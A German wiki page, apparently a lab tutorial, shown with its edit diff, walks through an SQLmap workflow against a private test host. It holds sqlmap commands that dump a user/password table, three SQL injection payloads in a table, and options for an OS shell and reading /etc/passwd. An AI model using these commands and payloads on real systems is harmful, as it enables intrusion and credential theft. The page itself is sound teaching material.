SQLmap Workflow: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
(Die Seite wurde neu angelegt: „= SQLmap Workflow = ;Einleitung: SQLmap automatisiert die Ausnutzung von SQL-Injection-Schwachstellen. Der Ablauf erfolgt schrittweise: erst Bestätigung, da…“)
 
Zeile 5: Zeile 5:
 
Der Ablauf erfolgt schrittweise: erst Bestätigung, dann systematische Informationsgewinnung.
 
Der Ablauf erfolgt schrittweise: erst Bestätigung, dann systematische Informationsgewinnung.
  
== 1. Test auf Verwundbarkeit ==
+
== Test auf Verwundbarkeit ==
 
* '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" --batch'''
 
* '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" --batch'''
* Erkenntnis: Parameter '''username''' ist verwundbar (boolean-based blind, error-based, time-based).
+
== Erkenntnisblock ==
* DBMS erkannt: '''MariaDB/MySQL'''
+
<pre>
 +
[13:13:17] [INFO] the back-end DBMS is MySQL
 +
web server operating system: Linux Debian
 +
web application technology: Apache 2.4.62
 +
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
 +
</pre>
 +
 
 +
== Gefundene Verwundbarkeiten ==
 +
{| class="wikitable"
 +
! Parameter !! Technik !! Beschreibung !! Beispiel-Payload
 +
|-
 +
| username (POST) || Boolean-based blind || Antwort ändert sich abhängig von TRUE/FALSE || '''username=test' RLIKE (SELECT (CASE WHEN (1=1) THEN 0x74657374 ELSE 0x28 END))--'''
 +
|-
 +
| username (POST) || Error-based || Erzwingt DB-Fehler und leakt Infos || '''username=test' AND (SELECT COUNT(*),CONCAT((SELECT version()),FLOOR(RAND(0)*2))x FROM information_schema.plugins GROUP BY x)'''
 +
|-
 +
| username (POST) || Time-based blind || Antwortzeit verzögert durch SLEEP() || '''username=test' AND (SELECT SLEEP(5))--'''
 +
|}
  
 
== 2. Version und Banner auslesen ==
 
== 2. Version und Banner auslesen ==

Version vom 15. September 2025, 17:19 Uhr

SQLmap Workflow

Einleitung

SQLmap automatisiert die Ausnutzung von SQL-Injection-Schwachstellen. Der Ablauf erfolgt schrittweise: erst Bestätigung, dann systematische Informationsgewinnung.

Test auf Verwundbarkeit

Erkenntnisblock

[13:13:17] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.62
back-end DBMS: MySQL >= 5.0 (MariaDB fork)

Gefundene Verwundbarkeiten

Parameter Technik Beschreibung Beispiel-Payload
username (POST) Boolean-based blind Antwort ändert sich abhängig von TRUE/FALSE username=test' RLIKE (SELECT (CASE WHEN (1=1) THEN 0x74657374 ELSE 0x28 END))--
username (POST) Error-based Erzwingt DB-Fehler und leakt Infos username=test' AND (SELECT COUNT(*),CONCAT((SELECT version()),FLOOR(RAND(0)*2))x FROM information_schema.plugins GROUP BY x)
username (POST) Time-based blind Antwortzeit verzögert durch SLEEP() username=test' AND (SELECT SLEEP(5))--

2. Version und Banner auslesen

3. Datenbanken auflisten

  • sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" --dbs
  • Erkenntnis: Übersicht aller vorhandenen Datenbanken (z. B. verwaltung, information_schema).

4. Tabellen in einer Datenbank auflisten

5. Spalten in einer Tabelle auflisten

6. Daten exfiltrieren

  • sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D verwaltung -T my_auth -C user,pass --dump
  • Erkenntnis: Klaretextdaten der Benutzer (User/Passwort) liegen vor.

7. Optional: Weitere Möglichkeiten

  • --os-shell → Versuch, Betriebssystembefehle auszuführen
  • --file-read=/etc/passwd → Datei auf dem Server auslesen
  • Erkenntnis: Eskalation möglich, wenn DB-User ausreichende Rechte hat.

Fazit

SQLmap liefert einen strukturierten Weg: Von der Bestätigung der Schwachstelle über die Datenbank- und Tabellenstruktur bis zur Exfiltration der Daten. Jeder Schritt bringt eine konkrete Erkenntnis und baut auf dem vorigen auf.